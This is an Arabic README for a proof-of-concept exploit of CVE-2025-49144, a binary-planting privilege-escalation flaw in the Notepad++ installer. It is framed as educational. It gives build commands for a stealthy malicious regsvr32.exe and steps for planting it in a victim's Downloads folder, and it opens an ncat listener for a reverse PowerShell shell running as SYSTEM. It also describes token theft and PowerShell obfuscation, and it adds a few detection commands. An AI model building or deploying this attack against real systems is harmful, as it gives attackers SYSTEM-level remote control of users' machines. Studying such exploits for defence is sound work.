
إثبات المفهوم CVE-2025-49144
⚠️ للأغراض التعليمية فقط
هذا الكود مصمم للأغراض التعليمية والبحثية لفهم ثغرات زرع الملفات الثنائية. استخدمه فقط في بيئات خاضعة للتحكم وبعد الحصول على التصريح المناسب.
يُظهر هذا المفهوم الإثباتي (Proof of Concept) ثغرة زرع الملفات الثنائية في مثبّت Notepad++ (CVE-2025-49144) المُشار إليها في GHSA-9vx8-v79m-6m24. تسمح الثغرة للمهاجم بالحصول على صلاحيات مستوى SYSTEM عن طريق وضع ملف تنفيذي ضار باسم regsvr32.exe في نفس المجلد الذي يحتوي على مثبّت Notepad++.
regsvr32.exe ضاريتكون المفهوم الإثباتي من مكونات متعددة تعمل معاً:
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ مثبّت Notepad++ │ │ regsvr32.exe │ │ شل عكسي │
│ (يبحث عن │───▶│ (الملف الضار) │───▶│ (PowerShell) │
│ regsvr32.exe) │ │ (كود CGO ثنائي) │ │ بصلاحيات │
└─────────────────┘ └──────────────────┘ │ SYSTEM │
└─────────────────┘
# تثبيت Go (1.24+)
# تثبيت MinGW-w64 لتجميع CGO
# تثبيت Git للتحكم في الإصدارات
# استنساخ المستودع
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# البناء كملف تنفيذي (يتنكر باسم regsvr32.exe)
# لأقصى قدر من التخفي (إزالة معلومات التصحيح)
go build -ldflags="-s -w" -o regsvr32.exe
# للتطوير (مع رموز التصحيح)
go build -o regsvr32_debug.exe
# 1. ضع الملف التنفيذي الضار regsvr32.exe في نفس مجلد مثبّت Notepad++
# عادةً مجلد التنزيلات حيث يقوم المستخدمون بتحميل المثبّت
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. يقوم المستخدم بتحميل المثبّت الرسمي لـ Notepad++ إلى مجلد التنزيلات
# 3. عند تشغيل المستخدم للمثبّت، فإنه يبحث عن regsvr32.exe في المجلد الحالي أولاً
# 4. يجد المثبّت وينفذ ملفنا الضار regsvr32.exe بصلاحيات SYSTEM
# 5. استمع لاتصال الشل العكسي الوارد
ncat -tlnp 4445
sequenceDiagram
participant المستخدم
participant المهاجم
participant التنزيلات
participant مثبّت Notepad++
participant regsvr32 الضار
participant عملية SYSTEM
المستخدم->>التنزيلات: تحميل مثبّت Notepad++
المهاجم->>التنزيلات: وضع regsvr32.exe الضار (هندسة اجتماعية)
المستخدم->>مثبّت Notepad++: تشغيل المثبّت من مجلد التنزيلات
مثبّت Notepad++->>التنزيلات: البحث عن regsvr32.exe في المجلد الحالي
التنزيلات->>regsvr32 الضار: العثور على regsvr32.exe الضار أولاً
مثبّت Notepad++->>regsvr32 الضار: التنفيذ بصلاحيات SYSTEM
regsvr32 الضار->>regsvr32 الضار: إنشاء عملية منفصلة
regsvr32 الضار->>عملية SYSTEM: تعداد عمليات SYSTEM
عملية SYSTEM->>regsvr32 الضار: سرقة الرمز المميز من winlogon/الخدمات
regsvr32 الضار->>regsvr32 الضار: إنشاء PowerShell برمز SYSTEM
regsvr32 الضار->>المهاجم: إنشاء اتصال عكسي
regsvr32 الضار->>مثبّت Notepad++: الاستمرار بوظيفة regsvr32 الشرعية
المهاجم->>عملية SYSTEM: تنفيذ الأوامر كـ SYSTEMزرع الملفات الثنائية
رفع الصلاحيات
آليات الثبات
برمجة الشبكات
برمجة CGO
# مراقبة استخدام regsvr32 المشبوه
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# التحقق من اتصالات الشبكة غير المعتادة
netstat -ano | findstr ":4445"
# مراقبة إنشاء العمليات
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
فشل الاتصال
# التحقق من توفر المنفذ
netstat -ano | findstr ":4445"
# التحقق من إعدادات جدار الحماية
netsh advfirewall firewall show rule name=all | findstr "4445"
أخطاء البناء
# تأكد من تمكين CGO
set CGO_ENABLED=1
# التحقق من تثبيت MinGW
gcc --version
# التحقق من دعم Go لـ CGO
go env CGO_ENABLED
فشل الحصول على الرمز المميز
تم إصدار هذا المشروع بموجب رخصة MIT للأغراض التعليمية. راجع ملف LICENSE للحصول على التفاصيل.
تذكير: هذه الأداة مخصصة للأغراض التعليمية والاختبارات المصرح بها فقط. اتبع دائماً ممارسات الإفصاح المسؤول واحترم الحدود القانونية.
| الملف | الغرض | عدد الأسطر |
|---|
main.go | نقطة الدخول، يعالج تنفيذ regsvr32 | ~80 |
winbind.h | ملف الرأس الرئيسي مع تعريفات الدوال | ~45 |
main.c | مشغل الشل العكسي الأساسي وإنشاء العمليات المنفصلة | ~75 |
shell.c | معالج الشل مع تنفيذ PowerShell مُعتم | ~120 |
process.c | الحصول على الرمز المميز (token) وإنشاء عملية SYSTEM | ~195 |
socket.c | اتصال الشبكة مع TCP Keep-Alive | ~85 |
threads.c | خيوط الإدخال/الإخراج بين المقبس والأنابيب | ~60 |
utils.c | التحقق من الإدخال وتحديد المعدل | ~35 |
obfuscate.c | تقنيات إخفاء مسار PowerShell | ~70 |